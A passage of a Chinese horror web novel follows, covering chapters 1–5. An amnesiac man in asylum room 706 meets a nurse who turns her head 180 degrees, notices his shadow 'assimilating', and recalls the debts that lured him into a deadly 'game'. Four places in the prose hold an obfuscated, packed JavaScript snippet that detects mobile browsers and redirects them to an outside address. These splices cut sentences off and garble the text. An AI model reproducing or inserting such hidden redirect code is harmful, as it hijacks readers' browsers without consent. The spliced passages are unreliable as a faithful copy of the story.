《第七病栋影蚀起源》 1. 706号囚徒 眼皮像被锈住的铁闸门,每一次抬起都带着涩涩的摩擦感。光,惨白的光,先于其他任何感知涌入,刺得虹膜一阵收缩。 鼻腔里充盈着一股混合了劣质消毒水、陈年灰尘,还有一丝若有若无、甜得发腻的腐烂水果的味道。空气凝滞,沉重地压在他的胸口。 他转动眼珠。 天花板是那种老式的、带着水渍纹路的白灰墙皮,有一块深褐色的污迹,形状像个扭曲的人脸。日光灯管发出持续的低频嗡鸣,像垂死昆虫的振翅。光线并不均匀,角落堆积着粘稠的黑暗。 身下是粗糙的布料,带着经久不息的潮气。他试着动了动手指,关节僵硬,指甲缝里嵌着黑色的污垢。 这是哪儿? 记忆像摔碎的镜子,只留下一些锋利的、无法拼凑的残片。没有昨天,没有前天,只有一个空荡荡的、回声隆隆的“我”。我是谁? 他撑起身体。骨头发出不堪重负的轻响。房间不大,四壁空空,只有一张焊死在地的铁床,一个同样固定在地上的小桌。墙壁刷着惨淡的米黄色,下半截漆皮剥落,露出下面暗沉的水泥。没有窗户。唯一的门是厚重的金属门,中间有个巴掌大的方形观察窗,玻璃污浊,从外面透进来的光也被滤得昏暗不清。 门上有个牌子,模糊的字迹:706。 他走到门边,凑近观察窗。外面是一条长长的走廊,同样被那种惨白的光笼罩着,安静得可怕。看不到人,只有两侧一扇扇紧闭的、一模一样的门。 一阵轻微的、有节奏的摩擦声传来。 他屏住呼吸。 声音由远及近,极其缓慢。嗒……嗒……嗒……像是硬底鞋轻轻敲击水磨石地面,但更沉闷,更拖沓。一个白色的身影出现在观察窗的视野边缘。 是个护士。穿着浆洗得笔挺却略显僵硬的白色护士服,戴着同样雪白的护士帽,帽子边缘压得很低,遮住了大半张脸。她推着一辆浅绿色的金属推车,轮子每转动一圈,就发出那令人牙酸的“嗒”的一声。她走得很慢,姿势有些说不出的怪异,肩膀似乎一动不动,只有下肢在向前挪移。 护士停在了706门前。 他猛地向后一缩,心脏在胸腔里擂鼓。门外的身影静止了片刻,然后,他听到钥匙插入锁孔的金属刮擦声。 门开了。 护士走进来,没有看他,径直走向小桌,从推车上拿起一个小纸杯和一把锡箔纸包着的药片。她的动作精准,却缺乏活人应有的流畅感,像上了发条的人偶。 他靠在冰凉的墙壁上,打量着她。帽檐下的阴影太浓,看不清五官,只能看到一个过于尖削、缺乏血色的下巴。她的皮肤在日光灯下白得泛青。 “吃药。”她说。声音平平,没有任何起伏,像电子合成音,也像坏掉的留声机里挤出的杂音。 他没动,喉咙发干。“这是什么药?” 护士没有回答,只是将纸杯和药片又往前递了半分。手臂伸得笔直。 “我问你,这是什么地方?我为什么在这里?”他提高了声音,试图在那张毫无表情的脸上找到一丝波澜。 护士置若罔闻。她维持着递药的姿势,脖子似乎都没有转动一下,帽檐下的阴影始终对着他刚才站立的位置。沉默像冰冷的沥青,灌满了这个狭小的房间。 对峙持续了大概一分钟,也可能更久。护士终于有了点变化——她极其缓慢地、一格一格地,将脸转向了他。帽檐下的黑暗对准了他的眼睛。 没有目光交接的感觉,但他就是知道,她在“看”他。 那股甜腻的腐烂味,似乎浓郁了一点。 他后背抵着墙,冰冷的触感透过薄薄的病号服渗进来。他深吸一口气,压下胃里的翻腾,伸手接过了纸杯和水。纸杯里的水有些浑浊,漂着一星半点可疑的白色絮状物。 锡箔纸里是三颗药片,椭圆,白色,表面光滑。他捏起一片,正要放入口中,指尖却传来一丝异样的触感。 不是光滑,有极其细微的凹凸。 他借着昏暗的光线,凑近仔细看。药片洁白的表面,靠近边缘的地方,似乎刻着东西。不是机器压制的字母或数字,而是……弯弯曲曲的,像是用极细的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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时间在寂静中变得粘稠而漫长。日光灯恒定地亮着,让人失去对时间的判断。只有胃里传来的空虚感提醒他,或许已经过了很久。 终于,走廊外再次传来了声音。不是护士的推车声,而是许多凌乱、拖沓的脚步声,还有模糊的、意义不明的低语和咕哝。门一扇扇打开,又关上。 是病人放风?还是别的什么? 他紧张地贴在门上,透过观察窗死死盯着外面。 几个穿着和他一样蓝白条纹病号服的人影蹒跚走过。他们低着头,脚步虚浮,彼此之间没有任何交流,像一群被无形丝线操纵的提线木偶。 其中一个走过706门口时,忽然停下了。 那是个干瘦的老头,头发稀疏花白,脸上布满深刻的皱纹。他慢慢抬起头,浑浊的眼珠转向观察窗,与门后的他对视。 老头的眼神空洞,但嘴角却一点点咧开,露出参差不齐的黄牙,形成一个僵硬的、令人毛骨悚然的“笑容”。他没有发出任何声音,只是那么笑着,看了他几秒,然后又低下头,跟着其他人蹒跚走远了。 那笑容像冰锥,扎进他的脑子里。 外面重新安静下来。 他滑坐到地上,背靠着冰冷的铁门,手指无意识地摩挲着口袋里那张硬卡片。 必须出去。必须弄清楚。 等待。耐心地等待。分辨着走廊外每一种细微的声响。推车声在固定的间隔响起,由远及近,再由近及远。那是夜班护士在发药。 午夜。 走廊彻底陷入死寂,连那低频的日光灯嗡鸣似乎都消失了。只有他自己的呼吸和心跳,在绝对的安静中被无限放大。 他轻轻起身,活动了一下僵硬的四肢,再次走到门边。观察窗外一片昏暗,只有远处墙壁上某个安全出口的绿色标志,散发着幽微的光。 门锁……他之前试过,打不开。但也许,在护士换班或者某个疏忽的瞬间? 他握住门把手,缓缓用力——拧不动。他加了些力气,甚至用肩膀抵住门,试图制造一点松动。 就在他几乎要放弃的时候,门把手极其轻微地,向下一沉。 咔哒。 一声轻响,在死寂中清晰得吓人。 门……开了?锁坏了?还是……根本就没锁死? 巨大的惊愕过后,是狂涌而上的心悸。他轻轻拉开门。铰链发出年久失修的低哑呻吟,在寂静的走廊里传出老远。 他闪身出去,反手将门虚掩。 走廊比他透过小窗看到的更加幽深、压抑。两侧的房门都紧闭着,绿色的安全出口指示灯是唯一的光源,在地上投下长长的、扭曲的影子。空气比房间里更冷,那股甜腻的腐烂味在这里更加明显,仿佛渗透进了墙壁和地板。 他赤着脚,踩在冰凉的水磨石地面上,无声地向前移动。该往哪边走?左边,还是右边?直觉告诉他,护士通常是从左边来的。 他选择了右边。 走廊长得似乎没有尽头。一扇扇门上的编号在幽绿的光下模糊不清:705,704,703……他数着,心跳越来越快。 前面是一个丁字路口。正对着的墙壁上挂着一幅巨大的油画,画框陈旧斑驳。画的内容在昏暗光线下难以辨认,只看到大片大片浓重得化不开的暗红色和黑色,中央似乎有个模糊的人形轮廓。 他正要拐弯,眼角的余光却瞥见,左侧走廊的尽头,似乎有个人影。 是那个夜班护士。 她背对着他,站在走廊尽头的那扇紧闭的双开大门前——那可能是通往其他区域的主出口。她一动不动,像一尊雕塑。 他立刻缩回身子,紧紧贴在拐角的墙壁后,屏住呼吸。 几秒,十几秒,一分钟……护士没有动静。 他小心地,极其缓慢地,再次探出一点点头,朝那边望去。 护士依然站在那里。 然后,毫无征兆地,她的头,开始转动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081220|195322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是常人那种自然的转头。她的身体纹丝未动,肩膀和躯干保持着绝对的静止,只有那颗戴着护士帽的头颅,以一种机械的、违背生理结构的方式,向后拧转。 一度,十度,三十度……九十度…… 他的血液似乎瞬间冻结了。 头颅继续转动,越过肩膀,朝向了他所在的拐角方向。帽檐下的阴影,正正地对准了他。 一百八十度。 她的脸,此刻正对着他,而后脑勺,对着那扇紧闭的大门。 黑暗中,他看不清她的五官,但那“注视”的感觉,冰冷粘腻,如同实质的蛛网,瞬间缠绕住他的全身。 跑! 大脑发出尖锐的警报。他猛地转身,不顾一切地朝着来路冲去。赤脚拍打在地面上,发出“啪啪”的轻响,在空旷的走廊里激起回音。 不敢回头,他能感觉到,那道冰冷的“视线”紧紧黏在他的背上。 706!他的房间! 他扑到706门前,一把拉开虚掩的门冲进去,反手用尽全力将门撞上,背死死抵住门板,剧烈地喘息。 门外,没有脚步声。 什么都没有。 那护士没有追来? 他惊魂未定,胸口剧烈起伏,耳朵贴着冰凉的金属门板,仔细聆听。 一片死寂。 她……还在那里吗?那个脖子扭转了一百八十度的…… 他不敢再想。背靠着门板滑坐到地上,双手抱住头。冷汗浸湿了单薄的病号服,粘腻地贴在皮肤上。 过了很久,也许只有几分钟,也许有一个世纪,他的呼吸才渐渐平复。 必须冷静。必须思考。 那张卡片……药片上的符文……没有影子的病人?不,刚才太暗,他没看清那些病人有没有影子。 但那个护士……她转身的时候,灯光(如果有的话)是从哪个方向照的?安全出口的绿光?太混乱了,他无法判断。 3. 扭曲的脖颈 日光灯的嗡鸣声似乎更响了,像无数细针扎着耳膜。那团影子,他脚下的影子,静伏不动,却比任何张牙舞爪的东西更让他窒息。它“是”他的影子,轮廓大致贴合,但又…不是。那细微的差异,那一瞬间的独自蠕动,像毒藤的种子,在他脑子里生根、疯长。 他死死盯着,眼睛发酸,不敢眨眼,生怕错过下一次异动。 没有。影子只是影子,沉默,顺从。 是药效的幻觉?还是……这东西知道他在看? 他慢慢挪开视线,强迫自己去看房间其他地方。米黄色的墙皮,水渍,剥落处裸露的灰色水泥。铁床,焊死的桌腿。一切都和之前一样,又似乎全都不一样了。空气中那股甜腻的腐烂气味,此刻清晰得令人作呕,仿佛就来自墙壁深处,地板下面,或者……他自己身上。 口袋里那张硬卡片硌着胸口。他把它掏出来,再次对着昏暗的光线。磨损的“7”,还有那个指甲划刻的痕迹——现在看来,那扭曲的线条更像一个咧嘴狂笑的嘴,或者一个痛苦蜷缩的人形。这是谁刻的?是他自己吗?在什么时候? 门外依旧死寂。那个扭转了一百八十度脖子的护士,没有再出现。但那种被冰冷“注视”的感觉,如同粘在皮肤上的蛛网,挥之不去。 他不能留在这里。呆在这个房间,和影子困在一起,他会疯掉。真正的疯掉。 他扶着桌沿,慢慢站起来。双腿发软,但还是撑住了。他走到门边,再次凑近观察窗。 走廊空荡,只有尽头安全出口的幽绿微光。没有护士,没有病人,也没有…其他任何移动的东西。 他握住门把手。冰凉。刚才他是怎么打开的?那轻微的下沉感,咔哒一声…是意外,还是某种“允许”? 他轻轻用力。没动。加大力度。还是纹丝不动。 锁死了。 刚才的“逃脱”,像是一个短暂的、充满恶意的玩笑。 绝望开始渗入骨髓。他背靠门板,滑坐下去,目光下意识地又落回自己的影子。它随着他的动作缩短,聚集在他蜷缩的脚下,一团浓得化不开的墨。 “你到底…是什么?”他对着那团黑影,用嘶哑的气声问。 影子当然不会回答。 时间失去了意义。只有日光灯恒定的嗡鸣和胃部越来越尖锐的绞痛。饥饿,干渴,还有无孔不入的恐惧。 不知过了多久,走廊外再次传来了声音。 这次不是推车声,也不是凌乱的脚步声,而是…歌声?极其微弱,断断续续,调子古怪而扭曲,听不清歌词,像呜咽,又像某种仪式性的吟诵。歌声来自很远的地方,穿透厚重的墙壁和门板,丝丝缕缕地钻进来,撩拨着紧绷的神经。 紧接着,是铃声。不是清脆的铃声,而是沉闷的、带着锈蚀感的金属撞击声,“铛…铛…铛…”,缓慢而规律,像是从地底传来。 放风?集合?开饭? 他猛地爬起来,扑到观察窗前。 几个穿着蓝白条纹病号服的身影从门前蹒跚走过,和之前看到的一样,低着头,脚步虚浮。那个干瘦的老头也在其中。这一次,他经过时没有停下,也没有露出那种诡异的笑容,只是木然地跟着队伍。 队伍朝着丁字路口的方向移动。 机会?也许。 他疯狂地拧动门把手,用肩膀撞门。铁门发出沉闷的响声,纹丝不动。 “嘿!”他压低嗓子喊了一声,拍打门板。 门外的人影毫无反应,继续向前。 就在队伍最后一个人即将拐过丁字路口时,那个干瘦老头,忽然极其细微地,朝706门的方向,偏了一下头。幅度很小,小到几乎以为是错觉。但就在那一瞬间,老头的嘴唇几不可察地动了动,没有声音,口型却异常清晰: “饭……厅……” 然后,他转过拐角,消失了。 歌声和铃声也渐渐远去,最终重归死寂。 饭厅? 老头是在给他提示?为什么?那个笑容,和现在这无声的口型,哪一个才是真的?或者,都是这疯狂的一部分? 他必须出去。必须去饭厅。 怎么出去? 他的目光在空荡的房间里巡梭,最后落在那个焊死的小铁桌上。桌面边缘,靠近墙壁的接缝处,因为经年的潮湿和锈蚀,有一小块不那么牢固。他走过去,双手扣住桌沿,用尽全身力气,猛地向上一抬! 吱嘎—— 令人牙酸的金属扭曲声。桌子的一角微微翘起,与地面焊点的连接处出现了细微的裂隙。有戏! 他喘息着,再次发力。一次,两次……汗水混着铁锈沾满手掌。终于,随着一声更响的崩裂声,桌腿靠近地面的部分断裂开来,虽然大部分还连着,但已经足够他将桌子倾斜,露出下面一小块地面和墙壁。 墙根处,水渍洇开的地方,水泥有些疏松。 他用断裂的、参差不齐的金属桌腿尖端,开始撬挖墙根。水泥碎屑簌簌落下。进度缓慢,但确实在一点点深入。他不知道墙有多厚,外面是什么,但这是唯一的机会。 挖了不知多久,手指磨破,渗出血珠,混合着水泥灰。墙壁被挖出一个拳头大小、几厘米深的凹坑。他换了角度,继续。桌腿的金属断面在水泥上刮擦,发出刺耳的声音。 突然,尖端一空! 他心脏狂跳,小心翼翼地将碎屑拨开。墙壁被凿穿了?不,只是出现了一个小洞,通向隔壁?还是夹层? 他凑近小洞,眯起眼朝里看。 一片漆黑。什么也看不见。 但一股更浓郁的、甜腻中带着铁锈和某种陈旧灰尘的气味,从小洞里幽幽飘出。 他试着将手指伸进去。洞很小,只容指尖探入。里面空空的,似乎有个不大的空间。他摸索着,指尖碰到一个冰凉、光滑的物体。 他小心地将它勾了出来。 是一个小小的、扁平的玻璃药瓶,拇指大小,里面空无一物。瓶身上贴着的标签已经泛黄卷边,但上面的字迹还能勉强辨认: 【编号:706-附属】 【观察记录:样本‘影’活性增强,出现初级同化倾向。建议增加‘镇定剂-7型’剂量,并准备隔离程序。】 【备注:警惕‘溢出’效应。勿使‘本体’察觉。】 字迹是冰冷的印刷体。编号706…是他的房间!“附属”?“样本‘影’”?“同化倾向”?“本体”? 每一个词都像冰锥,狠狠扎进他的意识。 “影”……是指他脚下这东西吗? “本体”……是指他自己? “溢出”效应是什么?隔离程序又是什么? 他感到一阵天旋地转。他不是病人?或者,他是另一种意义上的“病人”?一个被观察的“样本”? 歌声和铃声早已停止。走廊外又响起了那熟悉的、缓慢的嗒…嗒…嗒…声。 护士来了!夜班发药的时间! 他慌忙将玻璃药瓶塞进口袋,和那张卡片放在一起。然后迅速将倾斜的桌子尽量推回原处,用脚将地上的水泥碎屑和灰尘大致扫到墙角。刚做完这一切,钥匙插入锁孔的声音就响起了。 门打开。 白色的护士,推着浅绿色的推车,像幽灵一样滑入。和上次一样,她径直走向小桌,拿起纸杯和药片。 他靠在墙边,心脏狂跳,目光不由自主地垂下,看向护士的脚下。 日光灯从她侧后方照来。地面上,应该有她的影子。 有。 一个淡淡的、轮廓清晰的、穿着护士服的人形影子,投射在地面上,随着她的动作微微移动。 看起来…正常。 但他记得药片带来的那种冰凉感和视觉变化。他偷偷活动了一下手指,确认身体里那股凉意还未完全消退。他屏住呼吸,凝聚精神,用一种自己也无法言说的方式去“看”。 起初没什么不同。然后,就像焦距被微妙地调整,他看到了。 护士脚下的影子,确实存在,但…它的边缘,比护士身体的轮廓,要**宽**那么一丝。非常细微,几乎无法察觉,就像影子本身在以一种极其缓慢的速度,极其微小的幅度,向周围的空间…**渗**。 不是蠕动,是渗透。像一滴浓墨滴入清水,虽然暂时维持着形状,但墨色的边缘正在无声地晕开。 而且,影子的颜色,并非纯粹的黑色,在日光灯下,隐隐透出一种…暗沉的、不祥的褐红。 护士已经转过身,将纸杯和药片递过来。帽檐下的阴影,再次对准了他。 这一次,他没有犹豫,接过纸杯和水。锡箔纸里的药片,依旧是三颗,椭圆,白色。他快速扫了一眼,没有符文。是普通的药? 他吞了下去。还是苦涩。 护士似乎再次“满意”,转身,推车,嗒、嗒、嗒地离开。 门关上,落锁。 他立刻冲到观察窗前。护士正推车走向丁字路口。他死死盯着她的脚下。 在走廊相对空旷的光线下,那种“渗透”感似乎更明显了。她的影子拖在身后,比正常该有的长度似乎…短了一点点,而宽度,尤其是肩部和头部的阴影,确实比他之前“正常”视角下看到的,要略微“膨胀”一些。影子的颜色,在安全出口绿光的映衬下,那抹暗褐红也更加清晰。 不是错觉。 药效让他看到了某种…“真实”。 他退回房间中央,低头看自己脚下。 这一次, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081221|195322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他更加专注地,用那种“视野”去观察。 他的影子,安静地伏在那里。轮廓基本贴合,但头部和肩部的边缘,同样有极其细微的、几乎难以察觉的“渗透”感。影子的颜色,似乎也比纯粹的黑多了一点什么…一种非常淡的、接近灰色的沉闷调子。 而且,当他凝聚全部注意力时,他甚至能感觉到一种极其微弱的、冰冷的“存在感”,从影子与他双脚接触的那一小片地面传来。那不是温度,更像是一种…**脉动**。极其缓慢,与他自己的心跳并不同步。 “样本‘影’…活性增强…”他喃喃念出玻璃瓶上的字。 同化倾向…是指影子在…“渗”入他?还是他在变成影子? “勿使‘本体’察觉……”他打了个寒颤。那个递给他提示的老头,知道他察觉了吗?老头自己,又是什么?是“本体”,还是“样本”?或者别的什么东西? 饭厅…必须去饭厅。那里可能有更多的“人”,更多的“样本”,或者…答案。 他看向那个被挖开的小洞。隔壁是什么?为什么会有那个玻璃瓶和记录? 他再次趴到小洞前,这次,他捡起一小块水泥碎屑,轻轻丢了进去。 咚。 一声轻响,像是落在地板上,没有滚动,下面似乎是实的,但空间不大。 他犹豫了一下,开始继续扩大那个洞口。这一次,更加小心翼翼,尽量不发出太大声音。 洞口扩大到足够他勉强伸进一只手臂。他摸索着,里面确实是一个狭窄的夹层或废弃的小管道井,积满灰尘。除了那个玻璃瓶,他没有再摸到别的东西。 但当他缩回手臂时,指尖在粗糙的水泥边缘刮了一下,带下来一小片湿漉漉的、深褐色的东西。 不是水泥。软塌塌的,带着浓烈的甜腻腐烂气味。 他借着光仔细看。那是一小片…霉斑?不,更像是某种**腐败的有机质**,颜色暗红发黑。 他猛地甩掉,胃里一阵翻江倒海。 这气味…和空气中弥漫的,和那护士影子里的褐红……是同一个源头吗? “溢出”效应…… 他不敢再想。将注意力转回如何离开房间。桌子已经损坏,无法提供更多帮助。门锁死了。唯一的出口,似乎只有这个刚挖开的小洞,但后面是死路,还有那令人作呕的东西。 等等…… 他再次看向那洞口的边缘。被他挖开的水泥后面,是砖墙。砖墙的缝隙…也许可以试试? 他用断裂的桌腿,开始撬动洞口周围松动的砖块。一块,两块…砖块之间是老旧的水泥,并不十分坚固。随着一块砖头被撬松、取下,后面露出了黑暗的空间,以及…一丝极其微弱、但确实不同的空气流动。 有风!虽然微弱到几乎感觉不到,但确实存在! 隔壁不是实心的!可能有通道,或者就是隔壁房间! 希望如同鬼火,在黑暗中幽幽燃起。他加快动作,不顾手指的疼痛和磨破,将洞口扩大到足以让他钻过去。 洞口后面,是一个更加狭小、低矮的空间,布满蛛网和厚厚的灰尘,同样弥漫着那股甜腻腐烂的气味。但正对着他挖开洞口的方向,大约两三米外,隐约可见另一面墙的轮廓,墙上似乎…有一扇门? 不,更像是一个通风口的栅栏,或者一个被木板封住的洞口,边缘有极其细微的光线渗入。 他蜷缩着身体,爬进这个夹层。灰尘呛得他直咳嗽。他朝着那点微光爬去。 确实是几块旧木板,钉在墙上,后面似乎有空间。木板已经腐朽,钉子锈蚀。他用尽全力踹了几脚。 “砰!砰!” 木板发出破裂的呻吟。终于,其中一块木板从中间断裂,露出一个不规则的窟窿。光线更强了一些,是那种熟悉的、惨白的日光灯光。 他扒开碎裂的木片,从窟窿里钻了出去。 落地时差点摔倒。他站稳,发现自己在一个…储藏室?或者废弃的病房里。房间比他的706略大,堆放着一些蒙着白布、形状古怪的家具或器械,空气中灰尘弥漫。但这里没有那股甜腻的腐烂味,只有陈旧的灰尘气。 最重要的是,房间有一扇门。普通的木门,没有观察窗,门把手锈迹斑斑。 他走过去,试着拧动。 咔嗒。 门开了。 外面是一条陌生的走廊,格局和他之前所在的差不多,但更破旧,墙皮剥落得更厉害,有些地方的日光灯坏了,光线明暗不定。远处,隐约传来人声,碗碟碰撞的声音,还有…那股熟悉的、但似乎更加混杂的甜腻气味。 是饭厅的方向。 他深吸一口气,压下狂跳的心,朝着声音传来的方向,蹑手蹑脚地走去。 4. 墙后的秘密 顾风靠着冰冷的墙壁,喘息未定。陌生的走廊,昏暗的光线,远处传来的嘈杂人声和碗碟碰撞声,像隔着一层厚重的毛玻璃,嗡嗡作响。 他下意识地摸向胸口的口袋,指尖触到那张硬卡片和冰凉的小玻璃瓶。磨损的“7”,扭曲的符号,还有药瓶标签上冰冷的字眼——“样本‘影’”、“本体”、“溢出”…… 这些碎片疯狂地撞击着他空荡荡的脑海,试图拼凑出一个“过去”,一个“原因”。为什么是他?为什么是这里? 就在这时,一阵剧烈的、仿佛要撕裂头颅的疼痛毫无征兆地袭来。他闷哼一声,捂住脑袋,身体沿着墙壁滑下去。眼前的景象晃动、模糊,那些昏暗的灯光和剥落的墙皮扭曲旋转,取而代之的是另一幅画面,带着色彩、声音,还有几乎将他淹没的、尖锐的痛苦—— 不是空白的。 他的名字……叫顾风。 记忆的闸门被这股剧痛强行撞开,浑浊的洪流裹挟着尖锐的碎片,汹涌而入。 国企车间里永远散不尽的机油味和沉闷的机器轰鸣,然后是那个灰蒙蒙的下午,主任拍了拍他的肩膀,眼神躲闪,递过来一张薄薄的、却重逾千斤的纸。下岗。两个字,轻飘飘的,砸碎了他按部就班的世界。父母早逝,只留下他和多病的母亲相依为命。那点买断工龄的钱,在母亲的药费和两人的生活费面前,杯水车薪。 但那时还有光。小雅,他的女友,像一抹亮色闯进他黯淡的生活。她漂亮,温柔,不嫌弃他刚刚失业的窘迫,反而鼓励他重新开始。他们挤在狭小的出租屋里,分享一碗泡面也觉得有滋有味。顾风觉得,生活也许还能挣扎出一条路来。 然后,母亲倒下了。查出来的是个烧钱的病。积蓄瞬间蒸发,亲戚朋友能借的都借遍了,缺口却像无底洞。医院催款的单子雪片般飞来。小雅眼里的光,也一天天黯淡下去。 直到那天,他在电线杆上看到那个巴掌大的、印着粗黑体字的广告——“快速放款,无需抵押”。他知道那是什么。他唾弃那种东西。可看着病床上母亲痛苦的脸,看着小雅越来越沉默的背影,他捏着广告单的手指,骨节发白。他还是拨通了那个电话。 钱来了,很快。母亲的药暂时续上了。但利息来得更快,像滚雪球,带着冰冷的恶意,越滚越大,压得他喘不过气。他拼命找零工,一天打三份工,赚来的钱却连利息的零头都不够。催债的电话和上门“拜访”的人,越来越频繁,语气也从最初的“商量”变成了毫不掩饰的威胁。出租屋的门上,被泼了刺目的红漆。 母亲的病情还是在恶化。最后那段日子,她瘦得只剩一把骨头,浑浊的眼睛看着他,满是愧疚和不舍。她走的那天,窗外下着冷雨。顾风握着母亲冰凉的手,感觉自己的心也死了大半。 葬礼很简单,简单到寒酸。债主的人就站在不远处的树下,冷冷地看着。 小雅是葬礼后一周离开的。没有争吵,甚至没有太多话。她只是收拾了自己不多的东西,最后看了他一眼,那眼神里没有恨,只有深深的疲惫和一种认命般的疏离。“顾风,”她说,“我们……算了吧。我真的……太累了。” 门轻轻关上。那一声轻响,彻底切断了他和过去世界最后一丝温暖的联结。 他只剩下债务,巨大的、冰冷的、带着血腥味的债务。还有自己,一个连悲伤都显得多余的、被掏空的躯壳。 为了还钱,他像疯了一样在网上寻找任何可能赚钱的渠道。刷单、试玩、甚至那些明显是骗局的“高薪招聘”。他点开每一个看起来可疑的链接,填下一份份带着他最后信息的表格,像在绝望的泥沼里胡乱抓挠。 屏幕的光在深夜映着他憔悴麻木的脸。 然后,那个链接跳了出来。没有任何前兆,直接弹在浏览器中央,黑底红字,字体粗粝得刺眼: 【缺钱吗?走投无路了吗?来找我们。】 下面是一个猩红的按钮:【点击获取帮助】。 庸俗。低劣。赤裸裸的陷阱。顾风心里骂着,这些吸血的寄生虫,连伪装都懒得做了吗? 他的手指悬在鼠标上方,微微颤抖。 母亲临终前痛苦的脸,小雅关门时疲惫的背影,债主冰冷戏谑的眼神,还有那串天文数字般的债务……走马灯一样在眼前旋转。 他太缺钱了。缺到连作为“人”的尊严和判断力,都已经被榨干、磨碎。他连“屌丝”都算不上,只是一具被债务驱动的行尸走肉。 他闭上了眼睛。 手指落下,点击。 页面跳转。没有复杂的问卷,没有冗长的说明。只有一个极其简陋的界面,背景是纯黑,中央是一个像素风格的、有些粗糙狰狞的卡通恶魔头像,下面是一行字: 【极限体验游戏,挑战你的神经!报名即赠万元启动资金,通关更有百万大奖!】 旁边是一个硕大的、闪烁着不祥红光的【立即报名】按钮。 万元……哪怕只是骗局,哪怕只是诱饵……万一呢?万一能拿到一点,哪怕一点点…… 顾云?不,是顾风。顾风看着那行字,脑子里只剩下对“钱”的条件反射般的渴望,以及一片被绝望灼烧殆尽的荒原。他没有“犹豫”,荒原上不会长出名为“犹豫”的植物。他移动鼠标,点击了报名。 填写的信息极其简单,几乎儿戏:名字,一个大概的地址(他填了当时租住的、快要被赶出去的那个城中村地址),一个手机号。 点击提交。 屏幕暗了下去,弹出一行小字:【报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081222|195322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名成功,工作人员将尽快与您联系。请保持通讯畅通。】 他对着漆黑的屏幕,呆坐了许久,心里空落落的,甚至没有多少被骗的愤怒,只有更深的麻木。 第二天下午,一个陌生的本地号码打了进来。对方声音很客气,说是游戏筹备组的,需要当面核实一些信息,并签署一份简单的协议,之后就可以现场领取一万元现金“启动鼓励金”。地点约在城中村附近一个半废弃的小仓库区。 顾风去了。他没什么可再失去的了。 仓库区很安静,几乎看不到人。约定的那个小仓库门虚掩着。他推门进去,里面堆着一些破烂杂物,光线昏暗。 刚走进去两步,后脑就传来一阵沉闷的剧痛。 黑暗吞噬了一切。 …… 头痛渐渐消退,像潮水般退去,留下冰冷的沙滩——现实。 顾风剧烈地喘息着,额头抵着粗糙的墙面,冷汗浸透了病号服的后背。回忆的碎片还在脑海里铮鸣作响,下岗、母亲、小雅、高利贷、绝望的搜索、那个猩红的链接、仓库里的闷棍…… 所以,他不是“莫名其妙”在这里。他是被“弄”进来的。因为那个“游戏”?因为点了那个链接? “极限体验游戏”……是指这个吗?这座处处透着灵异、影子会自己蠕动、护士能把脖子扭断的精神病院? “报名即赠万元启动资金”……那钱呢?他根本没见到。还是说,他这条命,或者说他在这里的“体验”,就是那“万元”甚至“百万大奖”的代价? 冰冷的愤怒和更深的寒意交织着涌上来。 他撑着墙壁,慢慢站直身体。目光重新聚焦在昏暗的走廊尽头,那里,人声和碗碟声更加清晰了。 饭厅。 那个干瘦老头无声的提示。 那里有什么?更多的“样本”?游戏的“其他玩家”?还是……别的什么? 他摸了摸口袋里的卡片和药瓶,又下意识地低头,看了一眼自己脚下。 那团影子安静地伏着。但在顾风此刻的眼中,在那尚未完全褪去的、药效带来的特殊“视野”里,他分明看到,影子的边缘,似乎比刚才又“渗透”开了那么极其微小的一丝。颜色也似乎更深沉了一点,那抹灰暗的调子,正缓慢地、坚定不移地,朝着一种更接近护士影子里的那种暗褐红转变。 同化倾向……正在加速。 顾风咬紧牙关,口腔里弥漫开铁锈般的血腥味。他不知道前方有什么,但他知道,留在这里,或者停滞不前,结局只会是变成脚下这团越来越有自己“想法”的阴影的一部分。 他抬起脚,朝着人声嘈杂的方向,迈出了步子。 脚下的影子,沉默地、亦步亦趋地跟随着。 5. 食堂魅影 记忆的碎片带着余痛,沉甸甸地压在顾风的心口,像冰冷的铅块。下岗,母亲的病,小雅离去时疲惫的背影,高利贷,那个猩红的链接,后脑的闷痛……所有画面最终坍缩成一个黑暗的起点,然后便是这个惨白、死寂、浸透着腐烂甜味的精神病院。 他不是病人。至少,不是传统意义上的精神病。他是一个被“游戏”捕捉进来的“样本”。 